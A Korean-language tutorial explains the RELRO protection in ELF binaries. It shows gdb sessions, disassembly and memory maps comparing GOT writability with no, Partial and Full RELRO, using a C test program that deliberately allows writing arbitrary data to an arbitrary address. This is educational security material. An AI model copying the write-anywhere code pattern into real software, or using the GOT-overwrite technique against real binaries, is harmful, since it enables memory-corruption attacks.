< Explanation >

  • RELRO는 RELocation Read-Only의 줄임말이며, ELF 바이너리 / 프로세스의 데이터 섹션의 보안을 강화하는 일반적인 기술이다
  • RELRO에는 Partial RELRO와 Full RELRO 두 가지 모드가 있다.
  • 아래와 같이 RELRO, Partial RELRO, Full RELRO의 차이점이 있습니다.

< Example program >

▶ Source code

#include <stdio.h>
#include <string.h>
 
void main(){
 
        char address[16];
        size_t *pointer;
        int count = 1;
 
        while(count != 100)
        {
                printf("----- %d -----\n",count);
                memset(address,0,16);
                printf("Input Pointer address : ");
                fgets(address,16,stdin);
 
                pointer = strtol(address,0,16);
                printf("Pointer address : %p\n",pointer);
 
                printf("Input Pointer text : ");
                fgets(pointer,16,stdin);
                printf("Pointer text : %s\n",pointer);
                count++;
        }
        scanf("%s",address);
}

 

< Check the protection techniques of binary files >

▶ checksec.sh

 

▶ Program header & Dynamic Section

- Partial RELRO를 적용하게 되면 다음과 같은 변화가 발생한다.

  • Program Header'에 'RELRO' 영역이 생성된다. (해당 영역의 권한은 Read only 이다.)
  • 해당 영역에 포함되는 Section은 다음과 같다. (INIT_ARRAY, FINI_ARRAY)
  • GOT영역을 덮어쓸수 있다.

- Full RELRO를 적용하게 되면 다음과 같은 변화가 발생한다.

  • Program Header'에 'RELRO' 영역이 생성된다. (해당 영역의 권한은 Read only 이다.)
  • 해당 영역에 포함되는 Section은 다음과 같다. (INIT_ARRAY, FINI_ARRAY, PLTGOT)
  • 그리고 Section영역에서 PLTRELSZ, PLTREL, JMPREL가 제거되고, 'BIND_NOW', 'FLAGS_1' Section이 추가된다.
  • GOT영역을 덮어쓸수 없다.

 

< Overwrite test >

▶ No RELRO

  • "__isoc99_scanf"의 GOT Address는 0x600c68이며, 위와 같이 해당 영역에 값을 변경할 수 있다.

 

  • "__isoc99_scanf"의 주소값은 '.got.plt'영역에 저장되어 있다. ('.got.plt' 영역의 시작 주소 : 0x600c20)
  • 메모리 맵을 통해 해당 영역(0x00600000 ~ 0x00601000)에 'W' 쓰기 권한이 설정되어 있다.

 

▶ Partial RELRO

  • "__isoc99_scanf"의 GOT Address는 0x601048이며, 위와 같이 해당 영역에 값을 변경할 수 있다.

 

  • '.got.plt' 영역의 시작 주소는 0x601000 이다.
  • 메모리 맵에서 RELRO가 적용되지 않은 프로그램과 다른 부분을 확인할 수 있다.
    • 0x600000 ~ 0x601000 영역의 권한은 r--p 이다. (해당 영역에는 .init_array, .fini_array, .jcr, .dynamic, .got 헤더가 포함된다.)
    • 0x601000 ~ 0x602000 영역의 권한은 rw-p 이다. (해당 영역에는 .got.plt,등의 헤더가 포함되어 이로 인해 .got.plt 영역에 값을 변경할 수 있다.)

▶ Full RELRO

lazenca0x0@ubuntu:~/Documents/Definition/protection/RELRO$ gdb -q ./RELRO-FullRelro
Reading symbols from ./RELRO-FullRelro...(no debugging symbols found)...done.
gdb-peda$ elfsymbol __isoc99_scanf
'__isoc99_scanf': no match found
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004006f6 <+0>:   push   rbp
   0x00000000004006f7 <+1>:   mov    rbp,rsp
   0x00000000004006fa <+4>:   sub    rsp,0x30
   0x00000000004006fe <+8>:   mov    rax,QWORD PTR fs:0x28
   0x0000000000400707 <+17>:  mov    QWORD PTR [rbp-0x8],rax
   0x000000000040070b <+21>:  xor    eax,eax
   0x000000000040070d <+23>:  mov    DWORD PTR [rbp-0x2c],0x1
   0x0000000000400714 <+30>:  jmp    0x4007e2 <main+236>
   0x0000000000400719 <+35>:  mov    eax,DWORD PTR [rbp-0x2c]
   0x000000000040071c <+38>:  mov    esi,eax
   0x000000000040071e <+40>:  mov    edi,0x4008a4
   0x0000000000400723 <+45>:  mov    eax,0x0
   0x0000000000400728 <+50>:  call   0x4005c8
   0x000000000040072d <+55>:  lea    rax,[rbp-0x20]
   0x0000000000400731 <+59>:  mov    edx,0x10
   0x0000000000400736 <+64>:  mov    esi,0x0
   0x000000000040073b <+69>:  mov    rdi,rax
   0x000000000040073e <+72>:  call   0x4005d0
   0x0000000000400743 <+77>:  mov    edi,0x4008b4
   0x0000000000400748 <+82>:  mov    eax,0x0
   0x000000000040074d <+87>:  call   0x4005c8
   0x0000000000400752 <+92>:  mov    rdx,QWORD PTR [rip+0x2008b7]        # 0x601010 <stdin@@GLIBC_2.2.5>
   0x0000000000400759 <+99>:  lea    rax,[rbp-0x20]
   0x000000000040075d <+103>: mov    esi,0x10
   0x0000000000400762 <+108>: mov    rdi,rax
   0x0000000000400765 <+111>: call   0x4005e0
   0x000000000040076a <+116>: lea    rax,[rbp-0x20]
   0x000000000040076e <+120>: mov    edx,0x10
   0x0000000000400773 <+125>: mov    esi,0x0
   0x0000000000400778 <+130>: mov    rdi,rax
   0x000000000040077b <+133>: mov    eax,0x0
   0x0000000000400780 <+138>: call   0x4005f0
   0x0000000000400785 <+143>: cdqe  
   0x0000000000400787 <+145>: mov    QWORD PTR [rbp-0x28],rax
   0x000000000040078b <+149>: mov    rax,QWORD PTR [rbp-0x28]
   0x000000000040078f <+153>: mov    rsi,rax
   0x0000000000400792 <+156>: mov    edi,0x4008cd
   0x0000000000400797 <+161>: mov    eax,0x0
   0x000000000040079c <+166>: call   0x4005c8
   0x00000000004007a1 <+171>: mov    edi,0x4008e3
   0x00000000004007a6 <+176>: mov    eax,0x0
   0x00000000004007ab <+181>: call   0x4005c8
   0x00000000004007b0 <+186>: mov    rdx,QWORD PTR [rip+0x200859]        # 0x601010 <stdin@@GLIBC_2.2.5>
   0x00000000004007b7 <+193>: mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004007bb <+197>: mov    esi,0x10
   0x00000000004007c0 <+202>: mov    rdi,rax
   0x00000000004007c3 <+205>: call   0x4005e0
   0x00000000004007c8 <+210>: mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004007cc <+214>: mov    rsi,rax
   0x00000000004007cf <+217>: mov    edi,0x4008f9
   0x00000000004007d4 <+222>: mov    eax,0x0
   0x00000000004007d9 <+227>: call   0x4005c8
   0x00000000004007de <+232>: add    DWORD PTR [rbp-0x2c],0x1
   0x00000000004007e2 <+236>: cmp    DWORD PTR [rbp-0x2c],0x64
   0x00000000004007e6 <+240>: jne    0x400719 <main+35>
   0x00000000004007ec <+246>: lea    rax,[rbp-0x20]
   0x00000000004007f0 <+250>: mov    rsi,rax
   0x00000000004007f3 <+253>: mov    edi,0x40090c
   0x00000000004007f8 <+258>: mov    eax,0x0
   0x00000000004007fd <+263>: call   0x4005f8
   0x0000000000400802 <+268>: nop
   0x0000000000400803 <+269>: mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400807 <+273>: xor    rax,QWORD PTR fs:0x28
   0x0000000000400810 <+282>: je     0x400817 <main+289>
   0x0000000000400812 <+284>: call   0x4005c0
   0x0000000000400817 <+289>: leave 
   0x0000000000400818 <+290>: ret   
End of assembler dump.
 
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/Definition/protection/RELRO/RELRO-FullRelro
----- 1 -----
Input Pointer address : ^C
Program received signal SIGINT, Interrupt.
 
 
gdb-peda$ x/i 0x4005f8
   0x4005f8:    jmp    QWORD PTR [rip+0x2009fa]        # 0x600ff8
gdb-peda$ x/gx 0x600ff8
0x600ff8:   0x00007ffff7a784d0
gdb-peda$ x/5i 0x00007ffff7a784d0
   0x7ffff7a784d0 <__isoc99_scanf>:   push   rbx
   0x7ffff7a784d1 <__isoc99_scanf+1>: mov    r10,rdi
   0x7ffff7a784d4 <__isoc99_scanf+4>: sub    rsp,0xd0
   0x7ffff7a784db <__isoc99_scanf+11>:    test   al,al
   0x7ffff7a784dd <__isoc99_scanf+13>:    mov    QWORD PTR [rsp+0x28],rsi
  • 앞에서 테스트한 프로그램과 달리 GOT 영역에 값을 변경할 수 없다. (디버거에서 '__isoc99_scanf'의 심볼 정보를 찾을 수 없다.)
  • 디스어셈블 코드에서 호출되는 함수를 분석해보자
    • 0x4007fd 영역의 코드에서 0x4005f8 영역을 호출한다.
    • 0x4005f8 영역의 코드에서 "rip+0x2009fa" 영역에 저장된 주소로 이동한다.
    • "rip+0x2009fa" 영역은 0x600ff8 이며, 해당 영역에 저장된 값은 0x00007ffff7a784d0 이다.
    • 0x00007ffff7a784d0 영역은 __isoc99_scanf 함수의 시작 주소 이다.

 

gdb-peda$ elfheader
.interp = 0x400238
.note.ABI-tag = 0x400254
.note.gnu.build-id = 0x400274
.gnu.hash = 0x400298
.dynsym = 0x4002e0
.dynstr = 0x4003d0
.gnu.version = 0x40045e
.gnu.version_r = 0x400478
.rela.dyn = 0x4004b8
.init = 0x400590
.plt = 0x4005b0
.plt.got = 0x4005c0
.text = 0x400600
.fini = 0x400894
.rodata = 0x4008a0
.eh_frame_hdr = 0x400910
.eh_frame = 0x400948
.init_array = 0x600dd0
.fini_array = 0x600dd8
.jcr = 0x600de0
.dynamic = 0x600de8
.got = 0x600fa8
.data = 0x601000
.bss = 0x601010
gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00401000         r-xp  /home/lazenca0x0/Documents/Definition/protection/RELRO/RELRO-FullRelro
0x00600000         0x00601000         r--p  /home/lazenca0x0/Documents/Definition/protection/RELRO/RELRO-FullRelro
0x00601000         0x00602000         rw-p  /home/lazenca0x0/Documents/Definition/protection/RELRO/RELRO-FullRelro
0x00602000         0x00623000         rw-p  [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p  mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fd9000 0x00007ffff7fdc000 rw-p  mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rw-p  mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p  [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp  [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p  mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]

해당 프로그램의 헤더 구성이 No RELRO, Partial RELRO와 다르다. 해당 프로그램의 헤더 정보에 '.rela.plt', '.got.plt' 헤더가 존재하지 않는다.

 

< Comparison of function calls >

▶ Partial RELRO

lazenca0x0@ubuntu:~/Documents/Definition/protection/RELRO$ gdb -q ./RELRO-Relro
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x0000000000400716 <+0>:   push   rbp
   0x0000000000400717 <+1>:   mov    rbp,rsp
   0x000000000040071a <+4>:   sub    rsp,0x30
   0x000000000040071e <+8>:   mov    rax,QWORD PTR fs:0x28
   0x0000000000400727 <+17>:  mov    QWORD PTR [rbp-0x8],rax
   0x000000000040072b <+21>:  xor    eax,eax
   0x000000000040072d <+23>:  mov    DWORD PTR [rbp-0x2c],0x1
   0x0000000000400734 <+30>:  jmp    0x400802 <main+236>
   0x0000000000400739 <+35>:  mov    eax,DWORD PTR [rbp-0x2c]
   0x000000000040073c <+38>:  mov    esi,eax
   0x000000000040073e <+40>:  mov    edi,0x4008c4
   0x0000000000400743 <+45>:  mov    eax,0x0
   0x0000000000400748 <+50>:  call   0x4005b0 <printf@plt>
   0x000000000040074d <+55>:  lea    rax,[rbp-0x20]
   0x0000000000400751 <+59>:  mov    edx,0x10
   0x0000000000400756 <+64>:  mov    esi,0x0
   0x000000000040075b <+69>:  mov    rdi,rax
   0x000000000040075e <+72>:  call   0x4005c0 <memset@plt>
   0x0000000000400763 <+77>:  mov    edi,0x4008d4
   0x0000000000400768 <+82>:  mov    eax,0x0
   0x000000000040076d <+87>:  call   0x4005b0 <printf@plt>
   0x0000000000400772 <+92>:  mov    rdx,QWORD PTR [rip+0x2008e7]        # 0x601060 <stdin@@GLIBC_2.2.5>
   0x0000000000400779 <+99>:  lea    rax,[rbp-0x20]
   0x000000000040077d <+103>: mov    esi,0x10
   0x0000000000400782 <+108>: mov    rdi,rax
   0x0000000000400785 <+111>: call   0x4005e0 <fgets@plt>
   0x000000000040078a <+116>: lea    rax,[rbp-0x20]
   0x000000000040078e <+120>: mov    edx,0x10
   0x0000000000400793 <+125>: mov    esi,0x0
   0x0000000000400798 <+130>: mov    rdi,rax
   0x000000000040079b <+133>: mov    eax,0x0
   0x00000000004007a0 <+138>: call   0x4005f0 <strtol@plt>
   0x00000000004007a5 <+143>: cdqe  
   0x00000000004007a7 <+145>: mov    QWORD PTR [rbp-0x28],rax
   0x00000000004007ab <+149>: mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004007af <+153>: mov    rsi,rax
   0x00000000004007b2 <+156>: mov    edi,0x4008ed
   0x00000000004007b7 <+161>: mov    eax,0x0
   0x00000000004007bc <+166>: call   0x4005b0 <printf@plt>
   0x00000000004007c1 <+171>: mov    edi,0x400903
   0x00000000004007c6 <+176>: mov    eax,0x0
   0x00000000004007cb <+181>: call   0x4005b0 <printf@plt>
   0x00000000004007d0 <+186>: mov    rdx,QWORD PTR [rip+0x200889]        # 0x601060 <stdin@@GLIBC_2.2.5>
   0x00000000004007d7 <+193>: mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004007db <+197>: mov    esi,0x10
   0x00000000004007e0 <+202>: mov    rdi,rax
   0x00000000004007e3 <+205>: call   0x4005e0 <fgets@plt>
   0x00000000004007e8 <+210>: mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004007ec <+214>: mov    rsi,rax
   0x00000000004007ef <+217>: mov    edi,0x400919
   0x00000000004007f4 <+222>: mov    eax,0x0
   0x00000000004007f9 <+227>: call   0x4005b0 <printf@plt>
   0x00000000004007fe <+232>: add    DWORD PTR [rbp-0x2c],0x1
   0x0000000000400802 <+236>: cmp    DWORD PTR [rbp-0x2c],0x64
   0x0000000000400806 <+240>: jne    0x400739 <main+35>
   0x000000000040080c <+246>: lea    rax,[rbp-0x20]
   0x0000000000400810 <+250>: mov    rsi,rax
   0x0000000000400813 <+253>: mov    edi,0x40092c
   0x0000000000400818 <+258>: mov    eax,0x0
   0x000000000040081d <+263>: call   0x400600 <__isoc99_scanf@plt>
   0x0000000000400822 <+268>: nop
   0x0000000000400823 <+269>: mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400827 <+273>: xor    rax,QWORD PTR fs:0x28
   0x0000000000400830 <+282>: je     0x400837 <main+289>
   0x0000000000400832 <+284>: call   0x4005a0 <__stack_chk_fail@plt>
   0x0000000000400837 <+289>: leave 
   0x0000000000400838 <+290>: ret   
End of assembler dump.
Reading symbols from ./RELRO-Relro...(no debugging symbols found)...done.
gdb-peda$ elfheader
.interp = 0x400238
.note.ABI-tag = 0x400254
.note.gnu.build-id = 0x400274
.gnu.hash = 0x400298
.dynsym = 0x4002c0
.dynstr = 0x4003b0
.gnu.version = 0x40043e
.gnu.version_r = 0x400458
.rela.dyn = 0x400498
.rela.plt = 0x4004c8
.init = 0x400570
.plt = 0x400590
.plt.got = 0x400610
.text = 0x400620
.fini = 0x4008b4
.rodata = 0x4008c0
.eh_frame_hdr = 0x400930
.eh_frame = 0x400968
.init_array = 0x600e10
.fini_array = 0x600e18
.jcr = 0x600e20
.dynamic = 0x600e28
.got = 0x600ff8
.got.plt = 0x601000
.data = 0x601050
.bss = 0x601060
gdb-peda$ x/i 0x4005b0
   0x4005b0 <printf@plt>: jmp    QWORD PTR [rip+0x200a6a]        # 0x601020
gdb-peda$ x/gx 0x601020
0x601020:   0x00000000004005b6
gdb-peda$ x/i 0x00000000004005b6
   0x4005b6 <printf@plt+6>:   push   0x1
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/Definition/protection/RELRO/RELRO-Relro
----- 1 -----
Input Pointer address : ^C
Program received signal SIGINT, Interrupt.
 
 
gdb-peda$ x/gx 0x601020
0x601020:   0x00007ffff7a62800
gdb-peda$ x/5i 0x00007ffff7a62800
   0x7ffff7a62800 <__printf>: sub    rsp,0xd8
   0x7ffff7a62807 <__printf+7>:   test   al,al
   0x7ffff7a62809 <__printf+9>:   mov    QWORD PTR [rsp+0x28],rsi
   0x7ffff7a6280e <__printf+14>:  mov    QWORD PTR [rsp+0x30],rdx
   0x7ffff7a62813 <__printf+19>:  mov    QWORD PTR [rsp+0x38],rcx
gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00401000         r-xp  /home/lazenca0x0/Documents/Definition/protection/RELRO/RELRO-Relro
0x00600000         0x00601000         r--p  /home/lazenca0x0/Documents/Definition/protection/RELRO/RELRO-Relro
0x00601000         0x00602000         rw-p  /home/lazenca0x0/Documents/Definition/protection/RELRO/RELRO-Relro
0x00602000         0x00623000         rw-p  [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p  mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fd9000 0x00007ffff7fdc000 rw-p  mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rw-p  mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p  [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp  [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p  mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]

다음과 같이 동적 라이브러리의 주소가 호출된다.

  • main 함수에서 printf 함수를 사용하기 위해 메모리 주소 0x4005b0을 호출한다.
    • 메모리 주소 0x4005b0는 ".plt" 영역이다.
    • ".plt" 영역은 0x400590 ~ 0x400610 이다.
  • 0x4005b0 영역의 코드는 "jmp QWORD PTR [rip+0x200a6a]" 입니다.
    • 메모리 주소 0x601020은 저장된 주소로 JUMP하고, 이는 ".got.plt" 영역이다.  (".got.plt" 영역은 0x601000 ~ 0x601050 이다.)
    • 메모리 주소 0x601020에 저장된 값은 동적 라이브러리의 주소가 아닌 '.plt' 영역이다.
    • 프로그램을 실행하고 printf 함수가 호출되기 시작하면 메모리 주소 0x601020(".got.plt" 영역) 영역에 동적라이브러리의 printf 함수의 시작 주소 값이 저장된다.
  • 즉, Partial RELRO가 적용된 바이너리는 ".got.plt"영역이 Write가 가능하도록 설정되어 있기 때문에 ".got.plt" 영역에 저장된 값을 변경할 수 있다.

 

gdb-peda$ x/i 0x400600
   0x400600 <__isoc99_scanf@plt>: jmp    QWORD PTR [rip+0x200a42]        # 0x601048
gdb-peda$ x/gx 0x601048
0x601048:   0x0000000000400606
gdb-peda$ x/2i 0x0000000000400606
   0x400606 <__isoc99_scanf@plt+6>:   push   0x6
   0x40060b <__isoc99_scanf@plt+11>:  jmp    0x400590
gdb-peda$
  • 다음과 같이 아직 호출되지 않은 함수들의 GOT 값은 어떤지 확인해보자
    • main 함수에서 scanf 함수를 사용하기 위해 메모리 주소 0x400600(".plt")을 호출한다.
    • 0x400600 영역의 코드는 "jmp QWORD PTR [rip+0x200a42]" 이며, 0x601048 영역에 저장된 주소로 이동한다.
    • 0x601048 영역에 저장된 값은 0x400606 이며, 해당 영역은 Stub 코드가 저장되어 있다.
    • scanf 함수가 아직 호출된 적이 없기 때문에 0x601048(".got.plt") 영역에 동적라이브러리의 scanf 함수의 시작 주소 값이 저장되어 있지 않다.
    • Partial RELRO에 Lazy binding을 사용하기 때문에 함수를 호출하지 않으면 동적라이브러리의 주소 값을 ".got.plt" 영역에 저장되지 않다.

 

▶ Full RELRO

lazenca0x0@ubuntu:~/Documents/Definition/protection/RELRO$ gdb -q ./RELRO-FullRelro
Reading symbols from ./RELRO-FullRelro...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004006f6 <+0>:   push   rbp
   0x00000000004006f7 <+1>:   mov    rbp,rsp
   0x00000000004006fa <+4>:   sub    rsp,0x30
   0x00000000004006fe <+8>:   mov    rax,QWORD PTR fs:0x28
   0x0000000000400707 <+17>:  mov    QWORD PTR [rbp-0x8],rax
   0x000000000040070b <+21>:  xor    eax,eax
   0x000000000040070d <+23>:  mov    DWORD PTR [rbp-0x2c],0x1
   0x0000000000400714 <+30>:  jmp    0x4007e2 <main+236>
   0x0000000000400719 <+35>:  mov    eax,DWORD PTR [rbp-0x2c]
   0x000000000040071c <+38>:  mov    esi,eax
   0x000000000040071e <+40>:  mov    edi,0x4008a4
   0x0000000000400723 <+45>:  mov    eax,0x0
   0x0000000000400728 <+50>:  call   0x4005c8
   0x000000000040072d <+55>:  lea    rax,[rbp-0x20]
   0x0000000000400731 <+59>:  mov    edx,0x10
   0x0000000000400736 <+64>:  mov    esi,0x0
   0x000000000040073b <+69>:  mov    rdi,rax
   0x000000000040073e <+72>:  call   0x4005d0
   0x0000000000400743 <+77>:  mov    edi,0x4008b4
   0x0000000000400748 <+82>:  mov    eax,0x0
   0x000000000040074d <+87>:  call   0x4005c8
   0x0000000000400752 <+92>:  mov    rdx,QWORD PTR [rip+0x2008b7]        # 0x601010 <stdin@@GLIBC_2.2.5>
   0x0000000000400759 <+99>:  lea    rax,[rbp-0x20]
   0x000000000040075d <+103>: mov    esi,0x10
   0x0000000000400762 <+108>: mov    rdi,rax
   0x0000000000400765 <+111>: call   0x4005e0
   0x000000000040076a <+116>: lea    rax,[rbp-0x20]
   0x000000000040076e <+120>: mov    edx,0x10
   0x0000000000400773 <+125>: mov    esi,0x0
   0x0000000000400778 <+130>: mov    rdi,rax
   0x000000000040077b <+133>: mov    eax,0x0
   0x0000000000400780 <+138>: call   0x4005f0
   0x0000000000400785 <+143>: cdqe  
   0x0000000000400787 <+145>: mov    QWORD PTR [rbp-0x28],rax
   0x000000000040078b <+149>: mov    rax,QWORD PTR [rbp-0x28]
   0x000000000040078f <+153>: mov    rsi,rax
   0x0000000000400792 <+156>: mov    edi,0x4008cd
   0x0000000000400797 <+161>: mov    eax,0x0
   0x000000000040079c <+166>: call   0x4005c8
   0x00000000004007a1 <+171>: mov    edi,0x4008e3
   0x00000000004007a6 <+176>: mov    eax,0x0
   0x00000000004007ab <+181>: call   0x4005c8
   0x00000000004007b0 <+186>: mov    rdx,QWORD PTR [rip+0x200859]        # 0x601010 <stdin@@GLIBC_2.2.5>
   0x00000000004007b7 <+193>: mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004007bb <+197>: mov    esi,0x10
   0x00000000004007c0 <+202>: mov    rdi,rax
   0x00000000004007c3 <+205>: call   0x4005e0
   0x00000000004007c8 <+210>: mov    rax,QWORD PTR [rbp-0x28]
   0x00000000004007cc <+214>: mov    rsi,rax
   0x00000000004007cf <+217>: mov    edi,0x4008f9
   0x00000000004007d4 <+222>: mov    eax,0x0
   0x00000000004007d9 <+227>: call   0x4005c8
   0x00000000004007de <+232>: add    DWORD PTR [rbp-0x2c],0x1
   0x00000000004007e2 <+236>: cmp    DWORD PTR [rbp-0x2c],0x64
   0x00000000004007e6 <+240>: jne    0x400719 <main+35>
   0x00000000004007ec <+246>: lea    rax,[rbp-0x20]
   0x00000000004007f0 <+250>: mov    rsi,rax
   0x00000000004007f3 <+253>: mov    edi,0x40090c
   0x00000000004007f8 <+258>: mov    eax,0x0
   0x00000000004007fd <+263>: call   0x4005f8
   0x0000000000400802 <+268>: nop
   0x0000000000400803 <+269>: mov    rax,QWORD PTR [rbp-0x8]
   0x0000000000400807 <+273>: xor    rax,QWORD PTR fs:0x28
   0x0000000000400810 <+282>: je     0x400817 <main+289>
   0x0000000000400812 <+284>: call   0x4005c0
   0x0000000000400817 <+289>: leave 
   0x0000000000400818 <+290>: ret   
End of assembler dump.
gdb-peda$ elfheader
.interp = 0x400238
.note.ABI-tag = 0x400254
.note.gnu.build-id = 0x400274
.gnu.hash = 0x400298
.dynsym = 0x4002e0
.dynstr = 0x4003d0
.gnu.version = 0x40045e
.gnu.version_r = 0x400478
.rela.dyn = 0x4004b8
.init = 0x400590
.plt = 0x4005b0
.plt.got = 0x4005c0
.text = 0x400600
.fini = 0x400894
.rodata = 0x4008a0
.eh_frame_hdr = 0x400910
.eh_frame = 0x400948
.init_array = 0x600dd0
.fini_array = 0x600dd8
.jcr = 0x600de0
.dynamic = 0x600de8
.got = 0x600fa8
.data = 0x601000
.bss = 0x601010
gdb-peda$ x/i 0x4005c8
   0x4005c8:    jmp    QWORD PTR [rip+0x2009fa]        # 0x600fc8
gdb-peda$ x/gx 0x600fc8
0x600fc8:   0x0000000000000000
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/Definition/protection/RELRO/RELRO-FullRelro
----- 1 -----
Input Pointer address : ^C
Program received signal SIGINT, Interrupt.
 
gdb-peda$ x/gx 0x600fc8
0x600fc8:   0x00007ffff7a62800
gdb-peda$ x/5i 0x00007ffff7a62800
   0x7ffff7a62800 <__printf>: sub    rsp,0xd8
   0x7ffff7a62807 <__printf+7>:   test   al,al
   0x7ffff7a62809 <__printf+9>:   mov    QWORD PTR [rsp+0x28],rsi
   0x7ffff7a6280e <__printf+14>:  mov    QWORD PTR [rsp+0x30],rdx
   0x7ffff7a62813 <__printf+19>:  mov    QWORD PTR [rsp+0x38],rcx
gdb-peda$ vmmap
Start              End                Perm  Name
0x00400000         0x00401000         r-xp  /home/lazenca0x0/Documents/Definition/protection/RELRO/RELRO-FullRelro
0x00600000         0x00601000         r--p  /home/lazenca0x0/Documents/Definition/protection/RELRO/RELRO-FullRelro
0x00601000         0x00602000         rw-p  /home/lazenca0x0/Documents/Definition/protection/RELRO/RELRO-FullRelro
0x00602000         0x00623000         rw-p  [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p  /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p  mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fd9000 0x00007ffff7fdc000 rw-p  mapped
0x00007ffff7ff6000 0x00007ffff7ff8000 rw-p  mapped
0x00007ffff7ff8000 0x00007ffff7ffa000 r--p  [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp  [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p  /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p  mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p  [stack]
0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]

다음과 같이 동적 라이브러리의 주소를 호출하게 된다.

  • main 함수에서 printf 함수를 사용하기 위해 메모리 주소 0x4005c8을 호출한다.
    • 메모리 주소 0x4005c8는 ".plt.got" 영역이다.
    • ".plt.got" 영역은 0x4005c0 ~ 0x400600 이다.
  • 0x4005c8 영역의 코드는 "jmp QWORD PTR [rip+0x2009fa]" 이다.
    • 메모리 주소 0x600fc8에 저장된 주소로 JUMP 하며 이는 ".got"영역이다. (".got.plt" 영역 : 0x600fa8 ~ 0x601000)
    • 메모리 주소 0x600fc8에 아무런 값도 저장되어 있지 않는다.
    • 프로그램을 실행하고 printf 함수가 호출되기 시작하면 메모리 주소 0x600fc8(".got" 영역) 영역에 동적라이브러리의 printf 함수의 시작 주소 값이 저장된다.
  •  Full RELRO가 적용된 바이너리는 ".got"영역이 Read-only로 설정되지 때문에 ".got" 영역에 저장된 값을 변경할 수 없다.

 

gdb-peda$ x/i 0x4005f8
   0x4005f8:    jmp    QWORD PTR [rip+0x2009fa]        # 0x600ff8
gdb-peda$ x/gx 0x600ff8
0x600ff8:   0x00007ffff7a784d0
  • 다음과 같이 아직 호출되지 않은 함수들의 GOT 값은 어떤지 확인해보자
    • main 함수에서 scanf 함수를 사용하기 위해 메모리 주소 0x4005f8(".plt.got")을 호출한다.
    • 0x4005f8 영역의 코드는 "jmp QWORD PTR [rip+0x2009fa]" 이며, 0x600ff8 영역에 저장된 주소로 이동한다.
    • 0x600ff8 영역에 저장된 값은 0x00007ffff7a784d0 이며, 해당 영역은 동적라이브러리의 scanf 함수의 시작 주소 값이다.
